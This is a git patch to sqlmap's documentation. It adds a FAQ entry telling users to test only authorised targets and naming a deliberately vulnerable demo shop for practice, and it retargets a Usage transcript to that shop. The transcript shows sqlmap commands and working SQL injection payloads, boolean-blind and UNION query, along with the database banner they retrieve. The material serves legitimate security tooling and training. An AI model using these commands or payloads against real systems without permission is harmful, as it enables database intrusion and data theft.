From 8af6e97f40b266a92b98d07805c9d8dfa6e238f8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Jul 2026 09:48:33 +0200 Subject: [PATCH] Minor update --- FAQ.md | 8 +++++++ Introduction.md | 2 ++ Usage.md | 58 ++++++++++++++++++++++++------------------------- 3 files changed, 39 insertions(+), 29 deletions(-) diff --git a/FAQ.md b/FAQ.md index 5b6a485..f6b20bd 100644 --- a/FAQ.md +++ b/FAQ.md @@ -87,6 +87,14 @@ Hence, if you are keen on keeping a closer look at the development you can: **No**. +## Where can I practise using sqlmap? + +Only against a target you own or have explicit permission to test. If you just want a safe and legal playground, [**sekumart**](https://sekumart.sekuripy.hr) is a deliberately vulnerable demo shop kept online for exactly this purpose. It exposes SQL injection in many different contexts (`GET`, `POST`, `Cookie`, JSON body, `ORDER BY`, boolean/time-based blind, ...) alongside other common web flaws (XSS, LFI, open redirect, ...), and it is intentionally hardened to be *read-only* so there is nothing to break: + + python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --banner + +It can also be self-hosted as a single Docker container. + ## Tool `xyz` works against the target, while sqlmap doesn't! Please use that other tool. diff --git a/Introduction.md b/Introduction.md index 1f65320..efa48b0 100644 --- a/Introduction.md +++ b/Introduction.md @@ -40,6 +40,8 @@ sqlmap can automate the process of identifying and exploiting this type of vulne ...and depending on supplied options, it will enumerate data or takeover the database server entirely. +> If you want to try the steps that follow against a live, safe target, a deliberately vulnerable demo shop is kept online at [sekumart.sekuripy.hr](https://sekumart.sekuripy.hr) (e.g. `-u "https://sekumart.sekuripy.hr/product.php?id=1"`). + There exist many resources on the web explaining in depth how to detect, exploit and prevent SQL injection vulnerabilities in web applications. It is recommended that you read them before going much further with sqlmap. ## Direct connection to the database management system diff --git a/Usage.md b/Usage.md index 661cb29..49e9590 100644 --- a/Usage.md +++ b/Usage.md @@ -2511,7 +2511,7 @@ By using switch `--shell` user will be presented with the interactive sqlmap she ``` $ python sqlmap.py --shell -sqlmap > -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\ +sqlmap > -u "https://sekumart.sekuripy.hr/product.php?id=1" --technique=\ BEU --batch _ ___ ___| |_____ ___ ___ {1.0-dev-2188502} @@ -2529,18 +2529,18 @@ sible for any misuse or damage caused by this program [xx:xx:11] [INFO] testing connection to the target URL [xx:xx:12] [INFO] testing if the target URL is stable [xx:xx:13] [INFO] target URL is stable -[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic -[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic -[xx:xx:13] [INFO] GET parameter 'artist' is dynamic -[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might +[xx:xx:13] [INFO] testing if GET parameter 'id' is dynamic +[xx:xx:13] [INFO] confirming that GET parameter 'id' is dynamic +[xx:xx:13] [INFO] GET parameter 'id' is dynamic +[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') -[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist' +[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp ecific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - +[xx:xx:13] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause' @@ -2582,33 +2582,33 @@ ique tests as there is at least one other (potential) technique found [xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test -[xx:xx:15] [INFO] target URL appears to have 3 columns in query -[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2 +[xx:xx:15] [INFO] target URL appears to have 4 columns in query +[xx:xx:16] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 2 0 columns' injectable -GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if +GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re quests: --- -Parameter: artist (GET) +Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause - Payload: artist=1 AND 5707=5707 + Payload: id=1 AND 5707=5707 Type: UNION query - Title: Generic UNION query (NULL) - 3 columns - Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 + Title: Generic UNION query (NULL) - 4 columns + Payload: id=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), -NULL,NULL-- - +NULL,NULL,NULL-- - --- [xx:xx:16] [INFO] testing MySQL [xx:xx:16] [INFO] confirming MySQL [xx:xx:16] [INFO] the back-end DBMS is MySQL -web application technology: Nginx, PHP 5.3.10 -back-end DBMS: MySQL >= 5.0.0 +web application technology: Apache 2.4.65, PHP 8.2.30 +back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) [xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma -p/output/testphp.vulnweb.com' -sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner +p/output/sekumart.sekuripy.hr' +sqlmap-shell> -u "https://sekumart.sekuripy.hr/product.php?id=1" --banner _ ___ ___| |_____ ___ ___ {1.0-dev-2188502} |_ -| . | | | .'| . | @@ -2626,25 +2626,25 @@ sible for any misuse or damage caused by this program [xx:xx:26] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- -Parameter: artist (GET) +Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause - Payload: artist=1 AND 5707=5707 + Payload: id=1 AND 5707=5707 Type: UNION query - Title: Generic UNION query (NULL) - 3 columns - Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 + Title: Generic UNION query (NULL) - 4 columns + Payload: id=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), -NULL,NULL-- - +NULL,NULL,NULL-- - --- [xx:xx:26] [INFO] the back-end DBMS is MySQL [xx:xx:26] [INFO] fetching banner -web application technology: Nginx, PHP 5.3.10 -back-end DBMS operating system: Linux Ubuntu -back-end DBMS: MySQL 5 -banner: '5.1.73-0ubuntu0.10.04.1' +web application technology: Apache 2.4.65, PHP 8.2.30 +back-end DBMS operating system: Linux Debian +back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) +banner: '11.8.6-MariaDB-0+deb13u1' [xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma -p/output/testphp.vulnweb.com' +p/output/sekumart.sekuripy.hr' sqlmap-shell> exit ```